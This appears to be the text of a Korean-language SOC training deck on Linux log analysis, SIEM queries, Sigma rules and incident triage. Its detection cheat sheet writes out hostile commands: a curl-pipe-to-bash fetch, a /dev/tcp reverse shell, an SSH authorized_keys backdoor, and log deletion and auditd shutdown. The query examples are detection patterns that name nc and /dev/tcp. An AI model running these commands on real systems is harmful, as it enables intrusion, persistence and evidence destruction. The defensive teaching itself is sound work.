    패키지 /var/log/dpkg.log /var/log/yum.log 소프트웨어 설치/제거
    위험 명령어 조합 치트시트: 즉시 에스컬레이션 기준
    이 조합이 보이면 즉각 조사가 필요하다 — 맥락 없이 혼자 나타날 때 더욱 위험
    주의
    🔴 즉시 격리 curl/wget http://[외부IP] | bash — 외부 코드 원격 실행
    🔴 즉시 격리 bash -i >& /dev/tcp/[IP]/[PORT] 0>&1 — 역방향 쉘
    🔴 즉시 격리 chmod +x /tmp/* && nohup /tmp/[파일] & — 은닉 실행
    🟡 고위험 조사 root cron + 외부 URL — 지속적 원격 코드 실행
    🟡 고위험 조사 useradd + usermod -aG sudo + systemctl enable — 지속성 3중 설치
    🟡 고위험 조사 echo '...' >> /root/.ssh/authorized_keys — SSH 백도어
    🔵 조사 필요 find / -perm -4000 -type f — SUID 파일 열거 (권한상승 준비)
    보강 설명위험 명령어 조합 치트시트: 즉시 에스컬레이션 기준 슬라이드는 이 조합이 보이면 즉각 조사가 필요하다 — 맥락 없이 혼자 나타날 때 더욱 위험 명령 조합과 실행 경로, 외부 연결을 함께 보면 의도가 더 분명하게 드러난다.
    명령행경로외부 연결
    핵심 포인트
    • 명령 이름보다 인자·실행 경로·부모 프로세스를 함께 보기
    • /tmp·/dev/shm·숨김 파일 경로는 우선 의심하기
    • curl→chmod +x→nohup 같은 조합은 강한 실행 신호다
    추가 확인
    • 해당 파일 생성 시점과 해시·권한·소유자 확인
    • EDR·auditd·네트워크 로그를 함께 붙여 전체 흐름 보기
    • 외부 목적지 IP/도메인 평판과 과거 반복 이력 조회
    실무 예시
    • 다운로드 후 즉시 실행은 배포와 공격 모두 가능하므로 승인 이력 확인
    • 웹쉘·터널링·역방향 셸은 네트워크 흔적과 함께 봐야 선명해짐
    • 프로세스 한 줄보다 연속 실행 체인이 사건의 무게를 정한다
    Linux 로그와 MITRE ATT&CK 종합 매핑표
    로그 이벤트를 ATT&CK T코드로 분류하면 위협 인텔리전스 공유와 SIEM 룰 관리가 표준화된다
    분석
    T-Code 기법명 로그 근거 위험도
    T1110.001 Password Guessing auth.log 반복 실패 중간
    T1078 Valid Accounts 신규 IP 성공 로그인 높음
    T1548.003 Sudo and Sudo Caching sudo log 높음
    T1059.004 Unix Shell Execution auditd execve 중간
    T1053.003 Cron cron log / auditd 높음
    T1098.004 SSH Authorized Keys auditd FIM 높음
    T1136.001 Create Local Account auth.log useradd 높음
    T1071.001 Web Protocol C2 network/auditd connect 매우 높음
    T1070.002 Log Clearing 로그 파일 mtime 이상 매우 높음
    보강 설명Linux 로그와 MITRE ATT&CK 종합 매핑표 슬라이드는 로그 이벤트를 ATT&CK T코드로 분류하면 위협 인텔리전스 공유와 SIEM 룰 관리가 표준화된다 좋은 탐지는 필드 품질과 정상 예외 설계까지 함께 다룰 때 완성된다.
    탐지예외플레이북
    핵심 포인트
    • 탐지 품질은 좋은 룰보다 좋은 데이터에서 시작된다
    • 필드 정규화와 자산·계정 메타데이터가 오탐을 줄여 준다
    • 동일 패턴도 시간 창과 자산 중요도에 따라 우선순위가 달라진다
    추가 확인
    • 파싱 오류·타임존·수집 공백이 없는지 먼저 점검
    • 정상 예외 목록이 룰에 반영되어 있는지 확인
    • 대시보드 수치가 실제 운영 질문과 연결되는지 검토
    실무 적용
    • Alert 이후 조회 순서와 SOAR 보강 항목을 같이 설계
    • 룰은 incident 처리 후 다시 튜닝해 다음 번을 더 빠르게 만들기
    • 탐지 논리를 문장으로 설명할 수 있어야 팀 내 공유가 쉬워진다
    분석가 판단 등급 기준표
    애매할 때는 이 표를 보고 판단 — 과도한 에스컬레이션도, 무시도 문제가 된다
    분석
    ✅ 정상
    알려진 계정 · 업무 시간 · 내부 IP · 승인된 작업 이력 · 반복 패턴 있음
    🔵 모니터링
    평소와 약간 다른 패턴 · 양성 가능성 높지만 추적 가치 있음 · 운영팀 확인 권고
    🟡 의심
    여러 이상 신호 조합 · 이유 설명 가능하지만 완전히 납득되지 않음 · L2 분석가 검토 권고
    🔴 Incident
    침해 확실 · 즉시 격리 · IR 팀 에스컬레이션 · 증거 보전 · 경영진 보고 준비
    에스컬레이션 판단 기준: (① 실제 피해 발생 가능성) × (② 영향 범위) × (③ 신속 대응 필요성) — 셋 중 하나라도 높으면 에스컬레이션
    보강 설명분석가 판단 등급 기준표 슬라이드는 애매할 때는 이 표를 보고 판단 — 과도한 에스컬레이션도, 무시도 문제가 된다 보고 문장은 다음 팀이 바로 행동할 수 있을 정도로 조치 방향까지 보여줘야 한다.
    증거 보존에스컬레이션협업
    핵심 포인트
    • 사실과 추론을 분리하면 보고 문장의 신뢰도가 높아진다
    • 현재 진행 중인 세션 여부가 대응 속도를 결정한다
    • 격리·차단 전에도 보존해야 할 로그와 파일을 먼저 정리하기
    추가 확인
    • 자산 중요도와 업무 영향도를 함께 적어 의사결정 돕기
    • IAM·운영·IR 등 어떤 팀과 연결할지 분명히 하기
    • 보고 대상이 기술팀인지 의사결정자인지에 따라 표현 조정
    실무 적용
    • 좋은 판단문은 다음 팀이 바로 행동할 수 있게 쓴다
    • 증거 수집 범위와 후속 점검 범위를 구분해 적기
    • 조기 공유가 늦은 완벽함보다 더 안전한 경우가 많다
    SOC 초동 대응 체크리스트 (Linux Incident)
    경보 접수 후 첫 15분 — 이 순서를 따르면 중요한 것을 빠뜨리지 않는다
    Triage
    🕐 첫 5분 (정보 수집)
    어떤 서버, 어떤 계정에서 발생했는가
    Alert 발생 시간과 전후 5분 로그 확인
    출발지 IP가 내부/외부인가
    해당 계정의 업무 시간/역할 확인
    승인된 작업 이력(티켓) 존재 여부
    🕐 5~10분 (맥락 파악)
    auth/sudo/auditd 3개 로그 교차 확인
    같은 IP의 다른 서버 접근 여부
    네트워크 연결 이상 (C2 beacon 의심)
    파일 생성/수정/삭제 이벤트
    🕐 10~15분 (판단 및 조치)
    Verdict 결정 (정상/모니터/의심/Incident)
    에스컬레이션 필요 여부 판단
    격리 필요 시: 네트워크 차단 승인 요청
    증거 보전: 로그/프로세스/네트워크 캡처
    티켓 생성 및 서술문 초안 작성
    ⚠️ 원칙: "확실하지 않으면 에스컬레이션"이 "놓치는 것"보다 낫다 — 오탐 처리 비용 < 미탐 비용
    보강 설명SOC 초동 대응 체크리스트 (Linux Incident) 슬라이드는 경보 접수 후 첫 15분 — 이 순서를 따르면 중요한 것을 빠뜨리지 않는다 보고 문장은 다음 팀이 바로 행동할 수 있을 정도로 조치 방향까지 보여줘야 한다.
    증거 보존에스컬레이션협업
    핵심 포인트
    • 사실과 추론을 분리하면 보고 문장의 신뢰도가 높아진다
    • 현재 진행 중인 세션 여부가 대응 속도를 결정한다
    • 격리·차단 전에도 보존해야 할 로그와 파일을 먼저 정리하기
    추가 확인
    • 자산 중요도와 업무 영향도를 함께 적어 의사결정 돕기
    • IAM·운영·IR 등 어떤 팀과 연결할지 분명히 하기
    • 보고 대상이 기술팀인지 의사결정자인지에 따라 표현 조정
    실무 적용
    • 좋은 판단문은 다음 팀이 바로 행동할 수 있게 쓴다
    • 증거 수집 범위와 후속 점검 범위를 구분해 적기
    • 조기 공유가 늦은 완벽함보다 더 안전한 경우가 많다
    Module 2 마무리: 로그 분석가로 성장하는 법
    기술보다 습관이 중요하다 — 매일 조금씩 읽는 로그가 최고의 스승이다
    개념
    📈 분석 능력 성장 단계
    Lv.1 인식
    어디에 무슨 로그가 있는지 안다
    이 과정 수료 후 달성 가능
    Lv.2 해석
    개별 로그 라인의 의미를 읽는다
    반복 실습으로 3개월 내 달성
    Lv.3 연결
    여러 로그를 시간순으로 연결한다
    실무 6개월 이상 경험 필요
    Lv.4 판단
    Incident 여부를 빠르게 결정한다
    1년+ 실전 경험 + 피드백
    Lv.5 예측
    공격 패턴을 미리 파악하고 룰을 만든다
    전문 분석가의 영역
    🎯 실력 향상을 위한 3가지
    ① 매일 실제 로그 읽기
    SIEM 대시보드 5분 → 하나라도 직접 확인
    ② 처리 완료 케이스 복기
    오탐/정탐 모두 — "왜 그랬나"를 기록
    ③ CTF/과제 환경 실습
    HackTheBox, TryHackMe, DFIR.training
    💡 핵심 메시지
    로그는 텍스트가 아니라 시스템의 행동 기록이다. 분석는 그 행동에 의미를 부여하는 일이다 — 기술보다 질문하는 습관이 더 중요하다.
    보강 설명Module 2 마무리: 로그 분석가로 성장하는 법 슬라이드는 기술보다 습관이 중요하다 — 매일 조금씩 읽는 로그가 최고의 스승이다 핵심 사실을 읽은 뒤 왜 중요한지와 추가로 붙일 로그까지 함께 정리하면 실무 연결이 쉬워진다.
    핵심 개념확인 질문실무 연결
    핵심 포인트
    • 슬라이드 핵심 개념을 사실·패턴·맥락 순서로 읽어 보기
    • 용어 정의보다 실제 로그에서 어떻게 나타나는지 함께 기억하기
    • 정상과 이상을 비교하며 기준을 만드는 것이 중요하다
    추가 확인
    • 이 주제에서 꼭 붙여야 할 다른 로그는 무엇인지 생각하기
    • 오탐이 날 수 있는 정상 예외를 한 줄로 적어 보기
    • 자산 중요도와 시간대가 결론을 바꾸는지 확인
    실무 적용
    • 한 문장 보고서 형태로 요약해 보는 연습
    • 핵심 필드 3개와 그 이유를 함께 정리하기
    • 다음 슬라이드나 실습과 어떻게 이어지는지 연결해 보기
    PART 22
    SIEM 쿼리 실전
    Elastic KQL · Splunk SPL · 필드 정규화 · 탐지 룰 작성 · 대시보드 설계
    ⏱ 80분 | 실전 도구
    보강 설명SIEM 쿼리 실전 파트의 핵심은 개념 설명을 바로 분석 질문과 운영 판단 기준으로 연결하는 데 있다. 다음 슬라이드부터는 사실·패턴·맥락·조치 순서로 읽어 나간다.
    SIEMElasticSplunk
    들어가기 전에
    • 용어 정의보다 실제 로그에서 어떻게 보이는지에 집중
    • 한 줄 로그를 사건 흐름으로 확장하는 연습을 함께 진행
    • 정상과 이상을 자산·시간·후속 행위로 구분해 보기
    이 파트에서 놓치지 말 것
    • 단일 이벤트보다 반복성·연속성·맥락을 함께 보기
    • 오탐 가능성과 추가 확인 항목을 동시에 적기
    • 분석 결과를 보고 문장과 조치 제안까지 연결하기
    바로 써먹는 학습 포인트
    • 핵심 필드 3~5개만으로도 초동 판단은 가능하다
    • 탐지 신호와 정상 예외를 같이 적어야 운영 품질이 오른다
    • 실습 답안은 결론보다 근거를 더 분명하게 쓰기
    SIEM의 역할: 로그 저장소가 아닌 분석 엔진
    수백 대 서버의 로그를 한 화면에서 — 검색·상관분석·Alert까지 SIEM이 통합한다
    개념
    🏗️ SIEM 처리 파이프라인
    수집
    Beats/Fluentd/syslog → SIEM
    Linux, Windows, 방화벽, 클라우드
    파싱
    원본 텍스트 → 구조화 필드
    Grok, Logstash, Ingest Pipeline
    정규화
    소스별 다른 필드명 → 통일
    ECS, CIM (공통 정보 모델)
    분석
    쿼리 · 시각화 · 탐지 룰
    이상 탐지, Alert, 대시보드
    📊 주요 SIEM 솔루션 비교
    SIEM쿼리 언어특징
    Elastic SIEMKQL / EQL오픈소스 기반, 유연
    SplunkSPL기업 표준, 강력한 통계
    Microsoft SentinelKQLAzure 네이티브, 클라우드
    QRadarAQLIBM, 대기업 환경
    쿼리 언어는 달라도 로직은 동일 — 필드 필터 + 집계 + 시간 범위를 조합한다
    보강 설명SIEM은 단순한 로그 저장소가 아닙니다. 여러 소스를 정규화하고, 상관 분석하고, Alert를 생성하는 통합 플랫폼입니다. 좋은 탐지는 필드 품질과 정상 예외 설계까지 함께 다룰 때 완성된다.
    로그 수집정규화상관분석
    핵심 포인트
    • 탐지 품질은 좋은 룰보다 좋은 데이터에서 시작된다
    • 필드 정규화와 자산·계정 메타데이터가 오탐을 줄여 준다
    • 동일 패턴도 시간 창과 자산 중요도에 따라 우선순위가 달라진다
    추가 확인
    • 파싱 오류·타임존·수집 공백이 없는지 먼저 점검
    • 정상 예외 목록이 룰에 반영되어 있는지 확인
    • 대시보드 수치가 실제 운영 질문과 연결되는지 검토
    실무 적용
    • Alert 이후 조회 순서와 SOAR 보강 항목을 같이 설계
    • 룰은 incident 처리 후 다시 튜닝해 다음 번을 더 빠르게 만들기
    • 탐지 논리를 문장으로 설명할 수 있어야 팀 내 공유가 쉬워진다
    Elastic KQL 기초: 보안 분석에서 자주 쓰는 패턴
    Linux 로그 분석에 특화된 KQL 쿼리 — 인증·프로세스·네트워크 탐지의 핵심 문법
    명령어
    🔍 KQL 기본 문법
    # 필드 값 매칭
    event.action:"ssh_login_success"
    # AND 조건
    user.name:"root" AND source.ip:"203.0.113.*"
    # OR 조건
    process.name:("curl" OR "wget" OR "nc")
    # NOT (특정 IP 제외)
    event.action:"ssh_login_failed" AND NOT source.ip:"10.0.*"
    # 와일드카드
    process.executable:"/tmp/*"
    # 범위 (숫자)
    event.count > 10 AND event.count < 100
    # 존재 여부
    process.parent.name:*
    🚨 실전 보안 쿼리 모음
    # SSH 브루트포스 탐지 (10분 내 5회 이상 실패)
    event.action:"authentication_failure"
    AND process.name:"sshd"
    # /tmp 실행 파일 탐지
    process.executable:"/tmp/*"
    OR process.executable:"/dev/shm/*"
    # 역방향 쉘 패턴
    process.args:"/dev/tcp/*"
    OR process.args:"socket.connect"
    # 야간 sudo (22~06시)
    event.action:"sudo"
    AND @timestamp:["now-8h" TO "now-2h"]
    EQL: 이벤트 시퀀스로 공격 체인 탐지
    KQL이 단일 이벤트를 보는 반면, EQL은 '이 다음에 이것이 일어났는가'를 탐지한다
    분석
    🔗 EQL 시퀀스 문법
    # SSH 성공 → 5분 내 sudo → curl 다운로드
    sequence by host.name
    [authentication where event.outcome="success"
    and process.name="sshd"]
    [process where process.name="sudo"
    and process.args="bash"]
    [process where process.name in ("curl","wget")
    and process.args:"/tmp/*"]
    with maxspan=5m
    # /tmp 실행 → cron 등록 시퀀스
    sequence by host.name, user.name
    [process where process.executable:"/tmp/*"]
    [file where file.path:"/var/spool/cron/*"]
    with maxspan=10m
    💡 KQL vs EQL 비교
    KQL 적합한 경우:
    단일 이벤트 탐지 · 빠른 조회 · 대시보드 집계
    EQL 적합한 경우:
    공격 체인 탐지 · 순서 있는 이벤트 · 행동 분석
    핵심: EQL로 "SSH 성공 → 5분 내 curl /tmp 다운로드"를 탐지하면 단순 SSH 실패 탐지보다 훨씬 낮은 오탐률로 고위험 행동을 잡을 수 있다
    Splunk SPL 실전: 보안 분석 필수 명령어
    파이프라인 구조로 이해하면 쉽다 — grep, awk, sort의 SIEM 버전
    명령어
    🔧 SPL 핵심 명령어
    # SSH 실패 소스 IP 빈도
    index=linux_logs "Failed password"
    | rex field=_raw "from (?P<src_ip>\d+\.\d+\.\d+\.\d+)"
    | stats count by src_ip
    | sort -count | head 10
    # 시간별 로그인 실패 추이
    index=linux_logs "Failed password"
    | timechart span=1h count as failures
    # sudo 사용자 TOP 10
    index=linux_logs "sudo" "COMMAND"
    | rex "(?P<user>\w+)\s*:.*COMMAND=(?P<cmd>[^\n]+)"
    | stats count by user, cmd | sort -count
    # /tmp 실행 알람
    index=auditd type=EXECVE
    | search a0="/tmp/*" OR a1="/tmp/*"
    | table _time, host, uid, a0, a1, a2
    📊 SPL 통계 명령어 요약
    stats count by field
    그룹별 카운트 — uniq -c의 SIEM 버전
    timechart span=1h count
    시간별 추이 그래프
    table _time host user cmd
    지정 필드만 표로 출력
    where count > 5
    조건 필터 — 임계값 초과만
    eval risk=if(cmd="/bin/bash","HIGH","LOW")
    조건부 필드 계산
    ECS 필드 정규화: 다른 소스를 같은 언어로
    auth.log의 IP와 auditd의 IP 필드명이 다르면 상관분석이 불가능 — 정규화가 탐지의 기반이다
    개념
    📋 ECS 주요 필드 (Linux 로그)
    원본 필드ECS 필드의미
    src / saddrsource.ip출발지 IP
    uid / USERuser.id사용자 ID
    comm / exeprocess.name프로세스 이름
    hostname / hosthost.name호스트명
    Failed passwordevent.outcome:failure인증 실패
    Acceptedevent.outcome:success인증 성공
    🔗 정규화의 효과
    정규화 없이:
    auth.log 쿼리: src_ip:...
    auditd 쿼리: saddr:...
    ❌ 두 소스 상관분석 불가
    정규화 후 (ECS):
    모든 소스: source.ip:...
    ✅ auth + auditd + network 동시 쿼리
    실무 포인트: SIEM 도입 시 필드 정규화 설계가 잘못되면 나중에 모든 탐지 룰을 다시 써야 한다 — 초기 설계가 핵심
    탐지 룰 설계 방법론: 오탐을 최소화하면서 공격을 잡아라
    룰이 너무 넓으면 Alert 홍수 — 너무 좁으면 공격을 놓친다 — 균형 설계가 핵심
    분석
    📋 룰 설계 5단계
    1 유스케이스 정의: 어떤 공격 행동을 탐지할 것인가? (T코드 포함)
    2 로그 소스 확인: 그 행동이 어떤 로그에 남는가?
    3 쿼리 초안 작성: 공격 조건을 필드+값으로 표현
    4 정상 예외 제거: 같은 조건에 걸리는 정상 행동 식별 → 화이트리스트
    5 테스트 · 튜닝: 실제 환경에서 오탐/미탐 확인 → 반복 개선
    🔍 예시: /tmp 실행 탐지 룰 설계
    # 초안 (너무 넓음 — 오탐 많음)
    process.executable:"/tmp/*"
    # 정상 예외 파악:
    # - pip install이 /tmp에 임시 파일 만들 수 있음
    # - 일부 패키지 설치 스크립트도 /tmp 사용
    # 개선된 룰
    process.executable:"/tmp/*"
    AND NOT process.parent.name:("pip" OR "python")
    AND NOT user.name:("root" AND process.parent.name:"apt")
    AND host.name:NOT ("build-server*")
    Sigma 룰: SIEM 독립적 탐지 룰 표준
    한 번 작성하면 Elastic · Splunk · QRadar 모두 변환 가능 — 탐지 지식을 공유하는 표준 언어
    개념
    📝 Sigma 룰 구조
    # SSH 브루트포스 → 성공 탐지 Sigma 룰
    title: SSH Brute Force Then Success
    id: a1b2c3d4-e5f6-7890-abcd-ef1234567890
    status: experimental
    description: Detects SSH brute force followed by success
    references:
    - https://attack.mitre.org/techniques/T1110/001/
    author: KISA SOC Team
    tags:
    - attack.initial_access
    - attack.t1110.001
    logsource:
    product: linux
    service: auth
    detection:
    selection_fail:
    message|contains: 'Failed password'
    selection_success:
    message|contains: 'Accepted'
    condition: selection_fail | count() > 5 | selection_success
    level: high
    🔄 Sigma 변환 (sigma-cli)
    # Elastic으로 변환
    sigma convert -t elasticsearch rule.yml
    # Splunk로 변환
    sigma convert -t splunk rule.yml
    # QRadar로 변환
    sigma convert -t qradar rule.yml
    🌐 Sigma 룰 공개 저장소
    SigmaHQ/sigma (GitHub): 수천 개의 검증된 탐지 룰
    MITRE ATT&CK T코드로 분류 → 우리 환경 커버리지 분석 가능
    SOC 대시보드 설계: 30초 안에 이상 징후 포착
    좋은 대시보드는 '모든 것을 보여주는 것'이 아니라 '이상한 것을 즉시 눈에 띄게 하는 것'이다
    분석
    📊 Linux 보안 대시보드 구성 요소
    🔴 실시간 Alert 카운트
    HIGH/MEDIUM/LOW 등급별 — 급증 시 즉시 식별
    🟡 SSH 인증 현황
    시간별 실패 추이 + 상위 공격 IP 지도
    🔵 sudo 사용 현황
    사용자별 · 시간대별 — 야간/주말 급증 탐지
    ✅ /tmp 실행 파일
    실시간 목록 — 하나라도 있으면 즉시 조사
    🔷 신규 계정 생성
    useradd 이벤트 실시간 목록
    💡 대시보드 설계 원칙
    3계층 구조: 요약 → 드릴다운 → 원본 로그
    색상 코딩: 빨강=즉시 조사, 노랑=모니터링, 초록=정상
    기준선 비교: 오늘 vs 평균 7일 — 이상 급증 시각화
    너무 많은 위젯 → 핵심이 묻힘
    숫자만 보여주기 → 맥락 없이 판단 불가
    정적 임계값만 → UEBA/기준선 없이 오탐 폭증
    💡 원칙
    대시보드를 보는 데 30초 이상 걸린다면 — 너무 복잡하거나 잘못 설계된 것이다
    보강 설명좋은 대시보드는 분석가가 매일 아침 30초 안에 이상 징후를 포착할 수 있어야 합니다. 너무 많은 정보는 오히려 핵심을 가립니다. 좋은 탐지는 필드 품질과 정상 예외 설계까지 함께 다룰 때 완성된다.
    대시보드KPI드릴다운
    핵심 포인트
    • 탐지 품질은 좋은 룰보다 좋은 데이터에서 시작된다
    • 필드 정규화와 자산·계정 메타데이터가 오탐을 줄여 준다
    • 동일 패턴도 시간 창과 자산 중요도에 따라 우선순위가 달라진다
    추가 확인
    • 파싱 오류·타임존·수집 공백이 없는지 먼저 점검
    • 정상 예외 목록이 룰에 반영되어 있는지 확인
    • 대시보드 수치가 실제 운영 질문과 연결되는지 검토
    실무 적용
    • Alert 이후 조회 순서와 SOAR 보강 항목을 같이 설계
    • 룰은 incident 처리 후 다시 튜닝해 다음 번을 더 빠르게 만들기
    • 탐지 논리를 문장으로 설명할 수 있어야 팀 내 공유가 쉬워진다
    Alert 피로 관리: 오탐을 줄이는 실전 전략
    하루 1,000개 Alert가 쏟아지면 분석가는 결국 모든 Alert를 닫기 시작한다 — 이것이 더 위험하다
    주의
    🚨 Alert 피로의 악순환
    오탐 증가
    미조정 룰 + 화이트리스트 부재
    하루 500+ Alert
    분석가 과부하
    처리 속도 한계 도달
    평균 확인 시간 급감
    무감각화
    Alert를 보지 않고 닫기 시작
    MTTD 증가
    진짜 침해 놓침
    HIGH Alert도 묻혀버림
    ⚠️ 최악의 결과
    ✅ Alert 품질 개선 전략
    1. 룰 튜닝 주기화: 주 1회 오탐 TOP 10 분석 → 화이트리스트 추가
    2. 등급 재조정: 실제 위험도 기반으로 HIGH/MED/LOW 재분류
    3. 자동 억제: 반복 오탐 소스 자동 억제 (30분 내 중복 제거)
    4. 자동화 Enrichment: SOAR로 기본 확인 자동화 → 분석가는 판단만
    5. Alert 품질 KPI: MTTR, 오탐률, 에스컬레이션율 추적
    보강 설명Alert 피로는 SOC의 가장 큰 운영 문제 중 하나입니다. 오탐이 많으면 분석가가 Alert를 무시하기 시작하고, 진짜 침해를 놓칩니다. 좋은 탐지는 필드 품질과 정상 예외 설계까지 함께 다룰 때 완성된다.
    Alert 피로오탐자동화
    핵심 포인트
    • 탐지 품질은 좋은 룰보다 좋은 데이터에서 시작된다
    • 필드 정규화와 자산·계정 메타데이터가 오탐을 줄여 준다
    • 동일 패턴도 시간 창과 자산 중요도에 따라 우선순위가 달라진다
    추가 확인
    • 파싱 오류·타임존·수집 공백이 없는지 먼저 점검
    • 정상 예외 목록이 룰에 반영되어 있는지 확인
    • 대시보드 수치가 실제 운영 질문과 연결되는지 검토
    실무 적용
    • Alert 이후 조회 순서와 SOAR 보강 항목을 같이 설계
    • 룰은 incident 처리 후 다시 튜닝해 다음 번을 더 빠르게 만들기
    • 탐지 논리를 문장으로 설명할 수 있어야 팀 내 공유가 쉬워진다
    실습: SIEM으로 SSH 브루트포스 → 성공 시나리오 추적
    3단계 드릴다운으로 Alert → 원인 → 후속 행동까지 완전 추적
    실습
    Step 1: 브루트포스 탐지
    event.action:"auth_failure"
    | stats count by source.ip
    | where count > 20
    결과: 198.51.100.23에서 178회 실패
    Step 2: 성공 로그인 확인
    source.ip:"198.51.100.23"
    AND event.action:"auth_success"
    결과: 02:06 admin 계정 성공
    Step 3: 후속 행동 추적
    user.name:"admin"
    AND @timestamp > 02:06
    AND @timestamp < 02:30
    결과: sudo bash → curl /tmp → cron 등록
    종합 판단
    침해 확인
    브루트포스 성공 → 즉각 root 권한 → /tmp 스크립트 실행 → cron 지속성 설치
    즉시 조치
    198.51.100.23 차단 + admin 계정 잠금 + /tmp 스크립트 수집 + crontab 제거 + IR 에스컬레이션
    PART 23
    실전 시나리오 심화 II
    정상처럼 보이는 위험 · 위험처럼 보이는 정상 · 복합 공격 체인 · 로그 부재 시 판단
    ⏱ 70분 | 실전 케이스
    보강 설명실전 시나리오 심화 II 파트의 핵심은 개념 설명을 바로 분석 질문과 운영 판단 기준으로 연결하는 데 있다. 다음 슬라이드부터는 사실·패턴·맥락·조치 순서로 읽어 나간다.
    복합 시나리오애매한 케이스실전
    들어가기 전에
    • 용어 정의보다 실제 로그에서 어떻게 보이는지에 집중
    • 한 줄 로그를 사건 흐름으로 확장하는 연습을 함께 진행
    • 정상과 이상을 자산·시간·후속 행위로 구분해 보기
    이 파트에서 놓치지 말 것
    • 단일 이벤트보다 반복성·연속성·맥락을 함께 보기
    • 오탐 가능성과 추가 확인 항목을 동시에 적기
    • 분석 결과를 보고 문장과 조치 제안까지 연결하기
    바로 써먹는 학습 포인트
    • 핵심 필드 3~5개만으로도 초동 판단은 가능하다
    • 탐지 신호와 정상 예외를 같이 적어야 운영 품질이 오른다
    • 실습 답안은 결론보다 근거를 더 분명하게 쓰기
    정상처럼 보이는 위험: 맥락이 결정한다
    같은 명령어도 누가, 언제, 어디서, 무엇을 하기 위해 실행했는가에 따라 판단이 완전히 달라진다
    분석
    🔍 판단을 바꾸는 맥락 요소
    시간: 업무시간(09-18)인가, 야간/주말인가
    계정: 서비스 계정인가, 일반 사용자 계정인가
    출발지: 내부 알려진 IP인가, 신규 외부 IP인가
    승인 이력: 변경 티켓이 있는가
    연속성: 직전·직후 어떤 행동과 이어지는가
    📋 같은 명령 — 다른 판단
    ✅ 정상: curl http://10.0.1.100/deploy.sh | bash
    → 배포 서버(10.0.1.100), 업무시간, 배포 티켓 존재
    🚨 위험: curl http://10.0.1.100/deploy.sh | bash
    → 새벽 03시, 티켓 없음, 직전 외부 IP SSH 성공
    ✅ 정상: useradd svcapp01
    → 운영팀 계정, 프로비저닝 플레이북, 업무시간
    🚨 위험: useradd svcapp01
    → 야간, 외부 IP 로그인 직후, sudo 그룹 즉시 추가
    보강 설명가장 어려운 탐지는 정상 행동과 완전히 동일한 패턴을 보이는 공격입니다. 맥락과 조합이 결정적입니다. 명령 조합과 실행 경로, 외부 연결을 함께 보면 의도가 더 분명하게 드러난다.
    맥락정상처럼위장
    핵심 포인트
    • 명령 이름보다 인자·실행 경로·부모 프로세스를 함께 보기
    • /tmp·/dev/shm·숨김 파일 경로는 우선 의심하기
    • curl→chmod +x→nohup 같은 조합은 강한 실행 신호다
    추가 확인
    • 해당 파일 생성 시점과 해시·권한·소유자 확인
    • EDR·auditd·네트워크 로그를 함께 붙여 전체 흐름 보기
    • 외부 목적지 IP/도메인 평판과 과거 반복 이력 조회
    실무 예시
    • 다운로드 후 즉시 실행은 배포와 공격 모두 가능하므로 승인 이력 확인
    • 웹쉘·터널링·역방향 셸은 네트워크 흔적과 함께 봐야 선명해짐
    • 프로세스 한 줄보다 연속 실행 체인이 사건의 무게를 정한다
    로그가 없을 때: 부재 자체가 단서다
    "로그가 없으니 정상"이 아니다 — 로그가 없는 이유를 먼저 설명할 수 있어야 한다
    주의
    🔍 로그 공백이 생기는 원인
    🔴 악의적 원인
    공격자가 history -c, rm /var/log/auth.log로 삭제
    auditd 중지: systemctl stop auditd
    🟡 기술적 원인
    로그 로테이션 중 로그 전송 미흡
    에이전트 크래시, 디스크 풀, 네트워크 단절
    ✅ 정상 원인
    서버 신규 프로비저닝
    예정된 유지보수 윈도우
    🛠️ 로그 공백 조사 방법
    # 로그 파일 mtime 확인
    stat /var/log/auth.log
    # auditd 상태 확인
    systemctl status auditd
    ausearch -m CONFIG_CHANGE -ts today
    # 로그 파일 크기 변화 (갑자기 작아진 경우)
    du -sh /var/log/auth.log*
    # 대안 소스: wtmp (auth.log 삭제해도 남음)
    last -F | head -20
    # 원격 로그 서버 확인 (있는 경우)
    ssh log-server "grep 'web01' /var/log/remote/*.log"
    원칙: 로그 공백 + 다른 이상 징후 조합 = 즉각 조사 대상 — "로그 없으니 넘어가자"는 위험한 판단
    복합 공격 시나리오: 공급망 + 측면이동 + 랜섬웨어 전조
    각각의 이벤트는 정상처럼 보일 수 있다 — 4시간에 걸친 전체 타임라인이 침해를 증명한다
    시나리오
    00:15
    build-01에서 npm install → 외부 URL 접속 (공급망 의심)
    auditd execve: npm post-install → curl 198.51.100.77
    00:18
    build-01에서 /tmp/.npm_cache 실행 (백도어)
    process.executable: /tmp/.npm_cache → ESTABLISHED :4443
    01:02
    build-01 → web-prod-01 SSH (내부 키 사용)
    auth.log: Accepted publickey for deploy from 10.0.2.5
    01:05
    web-prod-01에서 find / -name "*.sql" -o -name "*.env"
    auditd: 정찰 명령 (DB 파일·환경변수 파일 탐색)
    01:12
    rm -rf /var/backups/* (백업 삭제)
    ⚠️ 랜섬웨어 전조 — 즉시 차단 필요
    🎯 교훈
    build-01의 npm 로그 하나는 "배포 정상"으로 보인다. web-prod-01의 find 명령 하나도 "점검"으로 보인다. 4시간의 타임라인을 연결할 때만 공급망→측면이동→랜섬웨어 체인이 보인다.
    로그 분석가가 자주 범하는 오류 10가지
    알면 예방할 수 있다 — 특히 시간 압박 상황에서 이 오류들이 집중적으로 발생한다
    분석
    확증 편향 — 이미 의심하고 증거를 꿰맞춤
    단일 소스 의존 — auth.log만 보고 결론
    결론 급행 — Failed password = 공격으로 단정
    시간 순서 무시 — 로그를 시간 역순으로 봄
    맥락 없는 명령 판단 — 명령어만 보고 위험도 결정
    로그 없음 = 정상 — 부재의 원인 미확인
    숫자 과신 — 실패 178회 = 무조건 공격
    운영팀 확인 생략 — 승인 작업인지 확인 안 함
    과도한 에스컬레이션 — 모든 의심을 Incident로 처리
    문서화 생략 — 판단 근거를 기록하지 않음
    자가 체크: Alert를 닫기 전, "내가 위 10가지 중 하나라도 범하고 있지 않은가?" 30초만 자문하는 습관
    보강 설명실무에서 자주 만나는 분석 오류 유형을 알면 스스로 체크할 수 있습니다. 확증 편향이 가장 위험합니다. 핵심 사실을 읽은 뒤 왜 중요한지와 추가로 붙일 로그까지 함께 정리하면 실무 연결이 쉬워진다.
    분석 오류확증 편향결론 급행
    핵심 포인트
    • 슬라이드 핵심 개념을 사실·패턴·맥락 순서로 읽어 보기
    • 용어 정의보다 실제 로그에서 어떻게 나타나는지 함께 기억하기
    • 정상과 이상을 비교하며 기준을 만드는 것이 중요하다
    추가 확인
    • 이 주제에서 꼭 붙여야 할 다른 로그는 무엇인지 생각하기
    • 오탐이 날 수 있는 정상 예외를 한 줄로 적어 보기
